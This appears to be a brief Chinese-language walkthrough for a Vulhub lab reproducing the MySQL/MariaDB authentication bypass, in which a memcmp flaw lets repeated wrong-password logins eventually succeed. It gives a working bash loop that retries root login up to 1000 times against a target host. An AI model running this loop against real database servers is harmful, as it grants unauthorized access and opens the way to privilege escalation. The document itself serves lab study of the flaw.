Vulhub-Mysql靶场

开启靶场

java 复制代码

[root@localhost vulhub-master]# cd mysql
[root@localhost mysql]# ls

当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。

受影响版本：

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

环境启动后，将启动一个Mysql服务（版本：5.5.23），监听3306端口，通过正常的Mysql客户端，可以直接登录的，正确root密码是123456。

在不知道我们环境正确密码的情况下，在bash下运行如下命令，在一定数量尝试后便可成功登录：

复制代码

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

java 复制代码

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.142.131 -P3307; done

可以看到已经绕过登录进入了数据库，接下来可以执行命令，查询数据库表格结构，提权等操作
